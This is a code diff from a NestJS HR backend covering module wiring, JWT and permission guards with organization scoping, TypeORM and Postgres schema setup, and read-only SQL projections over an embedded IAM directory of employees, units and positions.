import { UnitHrProfilesModule } from "./modules/unit-hr-profiles/unit-hr-profiles.module";
@Module({
imports: [
ConfigModule.forRoot({ isGlobal: true, load: [databaseConfig] }),
TypeOrmModule.forRootAsync({
inject: [ConfigService],
useFactory: (config: ConfigService): TypeOrmModuleOptions =>
config.get<TypeOrmModuleOptions>("database")!,
dataSourceFactory: async (options) => {
if (!options) throw new Error("Missing TypeORM DataSource options");
await ensurePostgresSchemas(options as DataSourceOptions);
const dataSource = new DataSource(options as DataSourceOptions);
await dataSource.initialize();
// The database sits behind a connection pooler that rejects the Postgres
// `options` startup parameter (08P01), so search_path is set per physical
// connection: the pg Pool emits `connect` for every new client (initial
// fill, growth, reconnect). Without it, IamDirectoryService's schema-
// qualified reads still work, but IAM's own unqualified SQL would not.
const pool = (dataSource.driver as { master?: unknown }).master as
| { on?: (event: string, cb: (client: unknown) => void) => void }
| undefined;
if (pool?.on) {
pool.on("connect", (client) => {
(client as { query: (sql: string) => Promise<unknown> })
.query(`SET search_path TO ${APPLICATION_SEARCH_PATH}`)
.catch(() => {
/* connection is validated on its first real query */
});
});
}
return dataSource;
},
}),
// Authentication is IAM's, unchanged: SharedAuthModule provides JwtGuard,
// which validates the session against `iam.sessions` directly (schema-
// qualified SQL, verified). HR issues no tokens and stores no credentials.
SharedAuthModule,
// IAM, embedded — the platform pattern: every service takes the IAM package
// as a dependency, declares its own application + permissions, and IAM gates
// each action by the caller's position. Same shape as edr-passenger-api and
// edr-freight-api.
//
// This also brings IAM's own controllers (/units, /positions, /employees,
// /employee-positions, …) onto this app, which is intended: HR is a second
// front end to IAM's capabilities, not a fork of them.
//
// In-process matters for the hire flow specifically: creating an IAM user,
// an employee, an employee-position and an HR profile is ONE transaction
// here. Over HTTP it could not be, and a partial failure would strand an IAM
// user with no HR profile.
//
// Requires the entity globs in config/database.config.ts and
// `autoLoadEntities: false` — the partial forFeature set is what previously
// broke boot with `Entity metadata for User#sessions was not found`.
IamModule.forRoot({
applications: [HR_APPLICATION],
permissions: HR_PERMISSIONS,
roles: HR_ROLES,
rolePermissions: HR_ROLE_PERMISSIONS,
}),
IamDirectoryModule,
MeModule,
OrgExplorerModule,
JobTitlesModule,
JobPositionsModule,
UnitHrProfilesModule,
EmployeesModule,
LeaveModule,
AttendanceModule,
PayrollModule,
RecruitmentModule,
AppraisalModule,
ReportsModule,
],
})
export class AppModule {}

View File

@@ -0,0 +1,42 @@
import { ForbiddenException } from "@nestjs/common";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import {
currentEmployeeId,
isSuperAdmin,
type MeLikeUser,
} from "./hr-permission.util";
import type { ActorContext } from "../modules/employees/employees.service";
/**
* The one place a request's actor is derived from the token.
*
* `organizationId` comes from the token's employee block, never from the request
* body or a query parameter — it is the row-scoping key for every HR read and
* write, so letting a client supply it would be a tenancy hole.
*/
export function actorFrom(user: TCurrentUser): ActorContext {
const me = user as unknown as MeLikeUser;
const employee = me.employee;
const organizationId = Array.isArray(employee)
? employee[0]?.organizationId
: employee?.organizationId;
const superAdmin = isSuperAdmin(me);
// A super admin reads across organizations, so a missing employee record is
// not disqualifying for them. Everyone else must have one: it is the scoping
// key for every HR read and write.
if (!organizationId && !superAdmin) {
throw new ForbiddenException(
"This account has no organization context — HR requires a staff account",
);
}
return {
employeeId: currentEmployeeId(me),
userId: me.id ?? "",
organizationId: organizationId ?? "",
isSuperAdmin: superAdmin,
};
}

View File

@@ -0,0 +1,20 @@
import { applyDecorators, UseGuards } from "@nestjs/common";
import { JwtGuard } from "@tria-plc/api-common/modules/auth/services/jwt.guard";
import { HrPermissionGuard } from "./hr-permission.guard";
/**
* The single route decorator for this app: authenticate, then require one of the
* given HR permission keys.
*
* Self-service routes (an employee reading their own profile) still go through
* it — they carry `can:view_own:*`, and the ownership check itself lives in the
* service, never in the guard.
*/
export const HrStaff = (permission: string | string[]) =>
applyDecorators(
UseGuards(
JwtGuard,
HrPermissionGuard(Array.isArray(permission) ? permission : [permission]),
),
);

View File

@@ -0,0 +1,57 @@
import {
CanActivate,
ExecutionContext,
ForbiddenException,
Injectable,
Type,
UnauthorizedException,
} from "@nestjs/common";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { hasHrPermission, isSuperAdmin } from "./hr-permission.util";
// String literals on purpose, matching freight's guard: these are wire-format
// values of `iam.users.user_type`, and importing the vendored enum would couple
// this file to the package's internal layout for no gain.
const EMPLOYEE_USER_TYPE = "employee";
const userTypeOf = (user: TCurrentUser): string | undefined =>
(user as { userType?: string }).userType;
/** HR is staff-only end to end. A missing userType (stale session) also fails. */
const isEmployee = (user: TCurrentUser): boolean =>
userTypeOf(user) === EMPLOYEE_USER_TYPE || isSuperAdmin(user);
/**
* Guard factory. Passing several keys means "any one of these" — used on the
* class gate, which must list every key its routes use: Nest runs class AND
* method guards, so a key missing from the class list denies before the route's
* own key is ever evaluated.
*/
export function HrPermissionGuard(permissions: string[]): Type<CanActivate> {
@Injectable()
class HrPermissionsGuard implements CanActivate {
canActivate(context: ExecutionContext): boolean {
const request = context
.switchToHttp()
.getRequest<{ user?: TCurrentUser }>();
const user = request.user;
if (!user) {
throw new UnauthorizedException("Authentication required");
}
if (!isEmployee(user)) {
throw new ForbiddenException("Staff account required");
}
if (!permissions?.length) return true;
if (permissions.some((p) => hasHrPermission(user, p))) return true;
throw new ForbiddenException(
`Missing permission. Required one of: ${permissions.join(", ")}`,
);
}
}
return HrPermissionsGuard;
}

View File

@@ -0,0 +1,108 @@
import { ForbiddenException } from "@nestjs/common";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
const SUPER_ADMIN_ROLE = "super_admin";
const ORGANIZATION_ADMIN_ROLE = "organization_admin";
type PermissionLike = { key?: string };
type PositionLike = { permissions?: PermissionLike[] };
/**
* The two token shapes IAM issues. `employee` is an object on a session token
* (`TCurrentUser`) and an array on the raw payload (`TCurrentTokenUser`); both
* reach controllers depending on how the session was minted, so every reader has
* to handle both. Mirrors freight's `collectPermissionKeys`.
*/
export type MeLikeUser = {
id?: string;
roles?: { key?: string }[];
permissions?: PermissionLike[];
employee?:
| {
id?: string;
organizationId?: string;
position?: PositionLike;
delegatedPositions?: PositionLike[];
}
| { id?: string; organizationId?: string; positions?: PositionLike[] }[]
| null;
};
export function isSuperAdmin(user: MeLikeUser | null | undefined): boolean {
return Boolean(user?.roles?.some((r) => r.key === SUPER_ADMIN_ROLE));
}
export function isOrganizationAdmin(
user: MeLikeUser | null | undefined,
): boolean {
return Boolean(user?.roles?.some((r) => r.key === ORGANIZATION_ADMIN_ROLE));
}
/** Flat permission keys from roles and every position the token carries. */
export function collectPermissionKeys(
user: MeLikeUser | null | undefined,
): string[] {
if (!user) return [];
const keys = new Set<string>();
for (const p of user.permissions ?? []) {
if (p.key) keys.add(p.key);
}
const employee = user.employee;
if (!employee) return [...keys];
if (Array.isArray(employee)) {
for (const emp of employee) {
for (const pos of emp.positions ?? []) {
for (const p of pos.permissions ?? []) {
if (p.key) keys.add(p.key);
}
}
}
return [...keys];
}
for (const p of employee.position?.permissions ?? []) {
if (p.key) keys.add(p.key);
}
for (const delegated of employee.delegatedPositions ?? []) {
for (const p of delegated.permissions ?? []) {
if (p.key) keys.add(p.key);
}
}
return [...keys];
}
export function hasHrPermission(
user: MeLikeUser | null | undefined,
permissionKey: string,
): boolean {
if (!user) return false;
if (isSuperAdmin(user)) return true;
return collectPermissionKeys(user).includes(permissionKey);
}
export function assertHrPermission(
user: TCurrentUser | MeLikeUser | null | undefined,
permissionKey: string,
): void {
if (hasHrPermission(user, permissionKey)) return;
throw new ForbiddenException(`Missing permission: ${permissionKey}`);
}
/**
* The caller's `iam.employees.id` — the value HR profiles hang off.
*
* Returns null for a token with no employee (a customer/portal account, or a
* super admin who is not staff). Self-service routes treat null as "no own
* record", never as "unrestricted".
*/
export function currentEmployeeId(
user: MeLikeUser | null | undefined,
): string | null {
const employee = user?.employee;
if (!employee) return null;
if (Array.isArray(employee)) return employee[0]?.id ?? null;
return employee.id ?? null;
}

View File

@@ -0,0 +1,54 @@
import { ApiPropertyOptional } from "@nestjs/swagger";
import { Type } from "class-transformer";
import { IsIn, IsInt, IsOptional, IsString, Max, Min } from "class-validator";
/** Envelope every list endpoint returns, so the frontend table is one component. */
export type Paginated<T> = {
items: T[];
total: number;
page: number;
limit: number;
pageCount: number;
};
export class PaginationQueryDto {
@ApiPropertyOptional({ default: 1, minimum: 1 })
@IsOptional()
@Type(() => Number)
@IsInt()
@Min(1)
page?: number = 1;
@ApiPropertyOptional({ default: 25, minimum: 1, maximum: 200 })
@IsOptional()
@Type(() => Number)
@IsInt()
@Min(1)
@Max(200)
limit?: number = 25;
@ApiPropertyOptional()
@IsOptional()
@IsString()
sortBy?: string;
@ApiPropertyOptional({ enum: ["ASC", "DESC"], default: "DESC" })
@IsOptional()
@IsIn(["ASC", "DESC"])
sortOrder?: "ASC" | "DESC" = "DESC";
}
export function paginate<T>(
items: T[],
total: number,
page: number,
limit: number,
): Paginated<T> {
return {
items,
total,
page,
limit,
pageCount: limit > 0 ? Math.ceil(total / limit) : 0,
};
}

View File

@@ -0,0 +1,109 @@
import { dirname } from "path";
import { registerAs } from "@nestjs/config";
import { TypeOrmModuleOptions } from "@nestjs/typeorm";
import { DataSourceOptions } from "typeorm";
/**
* HR migrations are recorded in `hr.migrations`, alongside `iam.typeorm_migrations`
* and `freight.migrations` in the same database. Each app owns exactly one history
* table; HR never writes the IAM one.
*/
export const HR_MIGRATIONS = {
schema: "hr",
table: "migrations",
} as const;
/**
* IAM entity registration.
*
* `IamModule` is embedded in this app (the platform pattern: every service takes
* the IAM package as a dependency and IAM gates each action by the caller's
* position), so its entities must be on this DataSource.
*
* Registered as GLOBS over the two package dists rather than as a hand-written
* class list. freight-api lists ~50 classes by hand and its own CLAUDE.md flags
* every package bump as a candidate to break it; globs cannot go stale.
*
* BOTH dists are required. Some IAM entities relate to notification entities
* that physically live in `@tria-plc/api-common` — the IAM barrel only
* re-exports them — so registering only the IAM dist throws
* `Entity metadata for User#sessions was not found` at boot. This is copied from
* `apps/edr-passenger-api/src/common/iam-typeorm.config.ts`, which documents the
* same failure.
*/
function resolvePackageDist(pkg: string): string {
// Node honours each package's `exports` map at runtime even though TypeScript's
// resolution does not, so require.resolve on the barrel lands in dist/.
return dirname(require.resolve(pkg)).replace(/\\/g, "/");
}
const IAM_ENTITY_GLOBS = [
`${resolvePackageDist("@tria-plc/iamapi-common")}/entities/**/*.entity.{ts,js}`,
`${resolvePackageDist("@tria-plc/api-common")}/entities/**/*.entity.{ts,js}`,
];
function buildConnectionOptions() {
return {
type: "postgres" as const,
host: process.env.DB_HOST ?? "localhost",
port: parseInt(process.env.DB_PORT ?? "5432", 10),
username: process.env.DB_USER ?? "edr",
password: process.env.DB_PASSWORD ?? "edr_secret",
database: process.env.DB_NAME ?? "edr_database",
// Do NOT pass `extra.options: '-c search_path=...'` — the connection pooler
// fronting the dev database rejects the Postgres `options` startup parameter
// with `08P01`. search_path is applied per physical connection in a pool
// `connect` handler instead (see app.module.ts).
synchronize: false,
logging:
process.env.TYPEORM_LOGGING === "true"
? true
: (["error", "warn"] as DataSourceOptions["logging"]),
};
}
/**
* Runtime options for the API. Carries no migrations — see `migration:run`.
*
* One connection serves both schemas: HR entities are `@Entity({schema:"hr"})`
* and IAM's are `schema:"iam"`, so they cannot collide. `autoLoadEntities` is
* OFF because everything is listed explicitly here — leaving it on lets
* IamModule's `forFeature` registrations add a PARTIAL entity set, which is the
* exact configuration that failed at boot.
*/
export function buildDataSourceOptions(): DataSourceOptions {
return {
...buildConnectionOptions(),
schema: HR_MIGRATIONS.schema,
entities: [__dirname + "/../**/*.entity.{ts,js}", ...IAM_ENTITY_GLOBS],
migrations: [],
};
}
/**
* HR migrations only, recorded in `hr.migrations`.
*
* Deliberately no entities: this DataSource exists to run HR's own DDL. HR never
* migrates the `iam` schema — that belongs to the IAM owner.
*/
export function buildHrMigrationDataSourceOptions(): DataSourceOptions {
return {
...buildConnectionOptions(),
schema: HR_MIGRATIONS.schema,
entities: [],
migrations: [__dirname + "/../migrations/*.js"],
migrationsTableName: HR_MIGRATIONS.table,
migrationsTransactionMode: "each",
};
}
export default registerAs(
"database",
(): TypeOrmModuleOptions => ({
...buildDataSourceOptions(),
autoLoadEntities: false,
// Migrations run as a separate one-shot step, never on API boot (house rule).
migrationsRun: false,
}),
);

View File

@@ -0,0 +1,62 @@
import { DataSource, DataSourceOptions } from "typeorm";
/**
* Schemas this app touches. `hr` is the only one it owns and migrates; `iam` is
* read-only (owned by edr-freight-api's migrations) and is listed so the search
* path resolves unqualified IAM lookups, and so a brand-new database is usable
* before freight has ever booted against it.
*/
export const APPLICATION_SCHEMAS = ["public", "iam", "hr", "audit"] as const;
export const APPLICATION_SEARCH_PATH = APPLICATION_SCHEMAS.join(",");
/**
* Extensions the migrations call into but never create themselves — the HR
* baseline defaults primary keys to `gen_random_uuid()`.
*/
export const APPLICATION_EXTENSIONS = ["uuid-ossp", "pgcrypto"] as const;
/**
* TypeORM creates the migrations table before any migration runs, so the schema
* that table lives in has to exist first. Mirrors
* `apps/edr-freight-api/src/config/ensure-postgres-schemas.ts` — deliberately, so
* the two apps cannot disagree about how the shared database is prepared.
*/
export async function ensurePostgresSchemas(
options: DataSourceOptions,
): Promise<void> {
const bootstrap = new DataSource({
...options,
entities: [],
migrations: [],
migrationsRun: false,
synchronize: false,
});
await bootstrap.initialize();
for (const schema of APPLICATION_SCHEMAS) {
if (schema === "public") {
await bootstrap.query(`CREATE SCHEMA IF NOT EXISTS public`);
await bootstrap.query(`GRANT ALL ON SCHEMA public TO public`);
} else {
await bootstrap.query(`CREATE SCHEMA IF NOT EXISTS "${schema}"`);
await bootstrap.query(`GRANT USAGE ON SCHEMA "${schema}" TO public`);
await bootstrap.query(`GRANT CREATE ON SCHEMA "${schema}" TO public`);
}
}
// Best effort: creating an extension needs rights the app user may not have.
// On an established database they are already installed and this is a no-op.
for (const extension of APPLICATION_EXTENSIONS) {
try {
await bootstrap.query(`CREATE EXTENSION IF NOT EXISTS "${extension}"`);
} catch (err) {
console.warn(
`could not ensure extension "${extension}": ${(err as Error).message}`,
);
}
}
await bootstrap.destroy();
}

View File

@@ -0,0 +1,8 @@
import "dotenv/config";
import { DataSource } from "typeorm";
import { buildHrMigrationDataSourceOptions } from "./config/database.config";
/** Standalone DataSource for the TypeORM CLI and the migrate script. */
export const AppDataSource = new DataSource(buildHrMigrationDataSourceOptions());
export default AppDataSource;

View File

@@ -0,0 +1,16 @@
import { Global, Module } from "@nestjs/common";
import { IamDirectoryService } from "./iam-directory.service";
import { IamOperationsService } from "./iam-operations.service";
/**
* Global because every HR feature module needs to resolve an employee, and
* routing that through per-module imports would spread knowledge of IAM across
* the app — the opposite of what this module exists for.
*/
@Global()
@Module({
providers: [IamDirectoryService, IamOperationsService],
exports: [IamDirectoryService, IamOperationsService],
})
export class IamDirectoryModule {}

View File

@@ -0,0 +1,686 @@
import { Injectable, NotFoundException } from "@nestjs/common";
import { InjectDataSource } from "@nestjs/typeorm";
import { DataSource } from "typeorm";
/** `iam.employees` as HR reads it. Never written by this app. */
export type IamEmployee = {
id: string;
name: { am: string; en: string } | null;
status: string;
isCurrent: boolean;
unitId: string | null;
organizationId: string | null;
userId: string | null;
username: string | null;
email: string | null;
phoneNumber: string | null;
/**
* When IAM first recorded this employee — the auto-provision hire-date proxy.
* `Date`, not string: node-postgres hydrates timestamptz into a Date object.
*/
createdAt: Date | string | null;
};
/** One row of the employee directory — IAM identity plus HR onboarding state. */
export type DirectoryRow = {
employeeId: string;
name: { am: string; en: string } | null;
unitId: string | null;
organizationId: string | null;
username: string | null;
email: string | null;
profileId: string | null;
employeeNumber: string | null;
employmentState: string | null;
employmentType: string | null;
hireDate: string | null;
isOnboarded: boolean;
};
export type IamUnit = {
id: string;
name: { am: string; en: string } | null;
key: string;
parentUnitId: string | null;
organizationId: string;
};
/** A unit as the org explorer draws it: IAM facts + counts + the HR overlay. */
export type UnitTreeNode = {
id: string;
name: { am: string; en: string } | null;
key: string;
parentUnitId: string | null;
organizationId: string;
organizationName: { am: string; en: string } | null;
employeeCount: number;
positionCount: number;
hrProfileId: string | null;
costCentreCode: string | null;
headcountBudget: number | null;
headEmployeeId: string | null;
isHrActive: boolean | null;
};
/** Someone currently holding a position — substantively or by delegation. */
export type PositionHolder = {
employeePositionId: string;
employeeId: string;
name: { am: string; en: string } | null;
username: string | null;
isDelegate: boolean;
status: string;
startDate: string | null;
endDate: string | null;
delegatorId: string | null;
delegatorName: { am: string; en: string } | null;
isOnboarded: boolean;
profileId: string | null;
employeeNumber: string | null;
};
/** One node of the position hierarchy, flat with a depth marker. */
export type PositionTreeRow = {
id: string;
name: { am: string; en: string } | null;
key: string;
rank: number;
parentPositionId: string | null;
unitId: string | null;
unitName: { am: string; en: string } | null;
depth: number;
holderCount: number;
jobPositionId: string | null;
budgetedCount: number | null;
isOpen: boolean | null;
};
/** A position as the unit detail panel shows it. */
export type UnitPositionRow = {
id: string;
name: { am: string; en: string } | null;
key: string;
rank: number;
parentPositionId: string | null;
holderCount: number;
jobPositionId: string | null;
budgetedCount: number | null;
isOpen: boolean | null;
};
export type IamPosition = {
id: string;
name: { am: string; en: string } | null;
key: string;
rank: number;
parentPositionId: string | null;
unitId: string;
organizationId: string;
};
/**
* The ONLY place in this app that knows where IAM lives or what its tables are
* called.
*
* READ PROJECTIONS ONLY — and no longer the only way HR touches IAM.
*
* IamModule is now embedded in this app, so IAM's entities and services are
* available in-process. The division is deliberate:
*
* WRITES → IAM's own services, through IamModule. They run IAM's validation,
* hooks, notifications and audit. HR must never insert into `iam.*`
* itself; doing so would fork the behaviour one silent row at a time.
* READS → these hand-written projections, where a list needs three columns
* from two tables. Hydrating IAM's entity graph per row to render a
* table is wasteful, and the batched lookups below exist to keep
* list endpoints at one query per page instead of one per row.
*
* Use IAM's repositories directly when you need a whole IAM aggregate; use this
* when you need a projection.
*
* SOFT DELETES: `iam.units`, `iam.positions` and `iam.organizations` extend
* `SoftDeleteAudit`, so every query here filters `deleted_at IS NULL` — without
* it HR would list units IAM considers deleted. `iam.employees` and `iam.users`
* extend plain `Audit` and have no such column; do NOT add the predicate there.
*
* History worth keeping: those columns were absent from this database until
* 2026-08-20 (a dump predating the package's `1785530375522-IAMUpdate`), which
* made every IAM query against them 500 and briefly forced these filters out.
* `pnpm repair:iam-schema` restores them. If you see
* `column X.deleted_at does not exist`, the environment is drifted — run it.
*
* Every write path in HR stores IAM ids as plain UUIDs with no foreign key — the
* platform's soft-reference stance. That means nothing at the database level
* stops HR from pointing at an employee that no longer exists, so callers that
* accept an IAM id from a client MUST validate it here first.
*/
@Injectable()
export class IamDirectoryService {
constructor(@InjectDataSource() private readonly dataSource: DataSource) {}
private static readonly EMPLOYEE_SELECT = `
SELECT e.id,
e.name,
e.status,
e.is_current AS "isCurrent",
e.unit_id AS "unitId",
e.organization_id AS "organizationId",
e.user_id AS "userId",
u.username,
u.email,
u.phone_number AS "phoneNumber",
e.created_at AS "createdAt"
FROM iam.employees e
LEFT JOIN iam.users u ON u.id = e.user_id`;
async findEmployee(employeeId: string): Promise<IamEmployee | null> {
const rows = await this.dataSource.query<IamEmployee[]>(
`${IamDirectoryService.EMPLOYEE_SELECT} WHERE e.id = $1 LIMIT 1`,
[employeeId],
);
return rows[0] ?? null;
}
/**
* Validating variant for request handling: a client-supplied employee id that
* does not resolve is a 404, not a dangling row written into `hr`.
*/
async requireEmployee(employeeId: string): Promise<IamEmployee> {
const employee = await this.findEmployee(employeeId);
if (!employee) {
throw new NotFoundException(
`No IAM employee ${employeeId}. Create the employee in IAM before giving them an HR profile.`,
);
}
return employee;
}
/** Batch lookup for list endpoints — one query per page, never one per row. */
async findEmployees(employeeIds: string[]): Promise<Map<string, IamEmployee>> {
if (!employeeIds.length) return new Map();
const rows = await this.dataSource.query<IamEmployee[]>(
`${IamDirectoryService.EMPLOYEE_SELECT} WHERE e.id = ANY($1::uuid[])`,
[employeeIds],
);
return new Map(rows.map((row) => [row.id, row]));
}
/**
* Employees matching a free-text term, for pickers. Searches both locales of
* the jsonb name plus username/email, and returns only current employees.
*/
async searchEmployees(term: string, limit = 20): Promise<IamEmployee[]> {
return this.dataSource.query<IamEmployee[]>(
`${IamDirectoryService.EMPLOYEE_SELECT}
WHERE e.is_current = true
AND (
e.name->>'en' ILIKE $1
OR e.name->>'am' ILIKE $1
OR u.username ILIKE $1
OR u.email ILIKE $1
)
ORDER BY e.name->>'en'
LIMIT $2`,
[`%${term}%`, limit],
);
}
/**
* Current employees attached to any of the given units. Backs the department
* filter on the employee list: HR does not store the unit (IAM owns it), so a
* unit filter is resolved here and intersected with the HR page.
*/
async findEmployeesByUnits(unitIds: string[]): Promise<IamEmployee[]> {
if (!unitIds.length) return [];
return this.dataSource.query<IamEmployee[]>(
`${IamDirectoryService.EMPLOYEE_SELECT}
WHERE e.unit_id = ANY($1::uuid[])`,
[unitIds],
);
}
/**
* The employee DIRECTORY: every IAM employee, left-joined to their HR profile.
*
* This is the list HR actually needs. Querying `hr.employee_profiles` alone
* shows only people somebody has already onboarded — on this database that
* was 0 rows against 2,431 real employees, with no way to see or reach the
* rest. Driving from `iam.employees` instead makes everyone visible and marks
* who is onboarded, which is also what makes auto-provisioning possible: you
* cannot lazily create a profile for someone you cannot find.
*
* Scoping joins IAM rather than reading a copied `organization_id` from `hr` —
* the organization is IAM's fact and is deliberately not duplicated.
*/
async findEmployeeDirectoryPage(filters: {
organizationId?: string | null;
search?: string;
unitIds?: string[] | null;
onboarded?: boolean;
employmentState?: string;
limit: number;
offset: number;
}): Promise<{ items: DirectoryRow[]; total: number }> {
const where: string[] = ["e.is_current = true"];
const params: unknown[] = [];
if (filters.organizationId) {
params.push(filters.organizationId);
where.push(`e.organization_id = $${params.length}`);
}
if (filters.unitIds) {
if (!filters.unitIds.length) return { items: [], total: 0 };
params.push(filters.unitIds);
where.push(`e.unit_id = ANY($${params.length}::uuid[])`);
}
if (filters.search) {
params.push(`%${filters.search}%`);
const p = `$${params.length}`;
where.push(
`(e.name->>'en' ILIKE ${p} OR e.name->>'am' ILIKE ${p} ` +
`OR u.username ILIKE ${p} OR u.email ILIKE ${p} ` +
`OR p.employee_number ILIKE ${p})`,
);
}
if (filters.onboarded === true) where.push("p.id IS NOT NULL");
if (filters.onboarded === false) where.push("p.id IS NULL");
if (filters.employmentState) {
params.push(filters.employmentState);
where.push(`p.employment_state = $${params.length}`);
}
const from = `
FROM iam.employees e
LEFT JOIN iam.users u ON u.id = e.user_id
LEFT JOIN hr.employee_profiles p
ON p.employee_id = e.id AND p.deleted_at IS NULL
WHERE ${where.join(" AND ")}`;
const [count] = await this.dataSource.query<{ total: string }[]>(
`SELECT count(*)::text AS total ${from}`,
params,
);
const items = await this.dataSource.query<DirectoryRow[]>(
`SELECT e.id AS "employeeId",
e.name AS "name",
e.unit_id AS "unitId",
e.organization_id AS "organizationId",
u.username, u.email,
p.id AS "profileId",
p.employee_number AS "employeeNumber",
p.employment_state AS "employmentState",
p.employment_type AS "employmentType",
-- ::text on purpose. node-postgres hydrates a date column into a
-- Date at UTC midnight, which renders as the PREVIOUS day in any
-- timezone behind UTC -- Ethiopia is UTC+3, so 2026-05-16 came
-- back as 2026-05-15T21:00Z. Keep it a plain YYYY-MM-DD string,
-- matching what the TypeORM-mapped profile returns.
p.hire_date::text AS "hireDate",
(p.id IS NOT NULL) AS "isOnboarded"
${from}
ORDER BY (p.id IS NOT NULL) DESC, e.name->>'en' ASC
LIMIT ${filters.limit} OFFSET ${filters.offset}`,
params,
);
return { items, total: parseInt(count?.total ?? "0", 10) };
}
/**
* The whole unit tree for an organization, with the counts each node needs.
*
* One recursive query rather than a request per node: the tree is rendered
* whole, and 35 units × (staff count + position count) as separate round
* trips would be 70 queries to draw one screen.
*
* Counts come from IAM (staff, positions); the HR overlay is joined on so a
* node can show its cost centre and headcount budget without a second pass.
*/
async findUnitTree(organizationId: string | null): Promise<UnitTreeNode[]> {
const params: unknown[] = [];
let scope = "";
if (organizationId) {
params.push(organizationId);
scope = `WHERE u.organization_id = $${params.length}`;
}
return this.dataSource.query<UnitTreeNode[]>(
`SELECT u.id,
u.name,
u.key,
u.parent_unit_id AS "parentUnitId",
u.organization_id AS "organizationId",
o.name AS "organizationName",
(SELECT count(*)::int FROM iam.employees e
WHERE e.unit_id = u.id AND e.is_current = true) AS "employeeCount",
(SELECT count(*)::int FROM iam.positions p
WHERE p.unit_id = u.id AND p.deleted_at IS NULL) AS "positionCount",
hp.id AS "hrProfileId",
hp.cost_centre_code AS "costCentreCode",
hp.headcount_budget AS "headcountBudget",
hp.head_employee_id AS "headEmployeeId",
hp.is_hr_active AS "isHrActive"
FROM iam.units u
LEFT JOIN iam.organizations o ON o.id = u.organization_id
LEFT JOIN hr.unit_hr_profiles hp
ON hp.unit_id = u.id AND hp.deleted_at IS NULL
${scope}
ORDER BY u.name->>'en' ASC`,
params,
);
}
/** Fallback lookup after a hire, when IAM's response shape is unclear. */
async findEmployeeByUsername(username: string): Promise<IamEmployee | null> {
const rows = await this.dataSource.query<IamEmployee[]>(
`${IamDirectoryService.EMPLOYEE_SELECT}
WHERE u.username = $1
ORDER BY e.created_at DESC
LIMIT 1`,
[username],
);
return rows[0] ?? null;
}
async findUnit(unitId: string): Promise<IamUnit | null> {
const rows = await this.dataSource.query<IamUnit[]>(
`SELECT id,
name,
key,
parent_unit_id AS "parentUnitId",
organization_id AS "organizationId"
FROM iam.units
WHERE id = $1 AND deleted_at IS NULL
LIMIT 1`,
[unitId],
);
return rows[0] ?? null;
}
async requireUnit(unitId: string): Promise<IamUnit> {
const unit = await this.findUnit(unitId);
if (!unit) throw new NotFoundException(`No IAM unit ${unitId}`);
return unit;
}
async findUnits(unitIds: string[]): Promise<Map<string, IamUnit>> {
if (!unitIds.length) return new Map();
const rows = await this.dataSource.query<IamUnit[]>(
`SELECT id,
name,
key,
parent_unit_id AS "parentUnitId",
organization_id AS "organizationId"
FROM iam.units
WHERE id = ANY($1::uuid[]) AND deleted_at IS NULL`,
[unitIds],
);
return new Map(rows.map((row) => [row.id, row]));
}
/**
* The POSITION hierarchy — which is where this platform's org chart actually
* lives.
*
* Verified on the production replica: 0 of 35 units have a parent, while
* 1,019 of 1,043 positions do, nested 7 levels deep. A unit-first tree would
* render a flat list of 35 and hide the real structure entirely.
*
* Returned flat with a depth marker and nested by the caller; one recursive
* CTE beats a query per node for a 1,000-node tree. Holder counts and the HR
* headcount overlay come along so a node needs no follow-up request.
*/
async findPositionTree(
organizationId: string | null,
unitId?: string,
): Promise<PositionTreeRow[]> {
const params: unknown[] = [];
const filters: string[] = ["p.deleted_at IS NULL"];
if (organizationId) {
params.push(organizationId);
filters.push(`p.organization_id = $${params.length}`);
}
if (unitId) {
params.push(unitId);
filters.push(`p.unit_id = $${params.length}`);
}
const where = filters.join(" AND ");
return this.dataSource.query<PositionTreeRow[]>(
`WITH RECURSIVE tree AS (
SELECT p.id, p.name, p.key, p.rank, p.parent_position_id, p.unit_id,
1 AS depth
FROM iam.positions p
WHERE ${where}
AND (p.parent_position_id IS NULL
OR NOT EXISTS (SELECT 1 FROM iam.positions par
WHERE par.id = p.parent_position_id
AND par.deleted_at IS NULL))
UNION ALL
SELECT c.id, c.name, c.key, c.rank, c.parent_position_id, c.unit_id,
tree.depth + 1
FROM iam.positions c
JOIN tree ON c.parent_position_id = tree.id
WHERE c.deleted_at IS NULL
AND tree.depth < 20
)
SELECT t.id,
t.name,
t.key,
t.rank,
t.parent_position_id AS "parentPositionId",
t.unit_id AS "unitId",
t.depth,
u.name AS "unitName",
(SELECT count(*)::int FROM iam.employee_positions ep
WHERE ep.position_id = t.id
AND ep.is_current = true
AND ep.is_delegate = false
AND ep.status = 'APPROVED') AS "holderCount",
jp.id AS "jobPositionId",
jp.budgeted_count AS "budgetedCount",
jp.is_open AS "isOpen"
FROM tree t
LEFT JOIN iam.units u ON u.id = t.unit_id
LEFT JOIN hr.job_positions jp
ON jp.position_id = t.id AND jp.deleted_at IS NULL
ORDER BY t.depth, t.rank, t.name->>'en'`,
params,
);
}
/**
* Who holds a position right now — substantive holders and delegates alike.
*
* Delegates are included but flagged. Delegation here is a RECORD MANAGEMENT
* arrangement — the holder has handed their record duties to a colleague for
* a period — not an HR assignment. So a delegate acts on the post's paperwork
* today while NOT filling it: excluded from headcount, and excluded from HR's
* line-manager resolution. Anything showing a post's people must distinguish
* the two rather than sum them.
*/
async findPositionHolders(positionId: string): Promise<PositionHolder[]> {
return this.dataSource.query<PositionHolder[]>(
`SELECT ep.id AS "employeePositionId",
ep.employee_id AS "employeeId",
e.name AS "name",
u.username,
ep.is_delegate AS "isDelegate",
ep.status,
ep.start_date::text AS "startDate",
ep.end_date::text AS "endDate",
ep.delegator_id AS "delegatorId",
del.name AS "delegatorName",
(hp.id IS NOT NULL) AS "isOnboarded",
hp.id AS "profileId",
hp.employee_number AS "employeeNumber"
FROM iam.employee_positions ep
JOIN iam.employees e ON e.id = ep.employee_id
LEFT JOIN iam.users u ON u.id = e.user_id
LEFT JOIN iam.employee_positions dep ON dep.id = ep.delegator_id
LEFT JOIN iam.employees del ON del.id = dep.employee_id
LEFT JOIN hr.employee_profiles hp
ON hp.employee_id = e.id AND hp.deleted_at IS NULL
WHERE ep.position_id = $1
AND ep.is_current = true
AND ep.status = 'APPROVED'
ORDER BY ep.is_delegate ASC, e.name->>'en' ASC`,
[positionId],
);
}
/** Immediate children of a unit. */
async findChildUnits(unitId: string): Promise<IamUnit[]> {
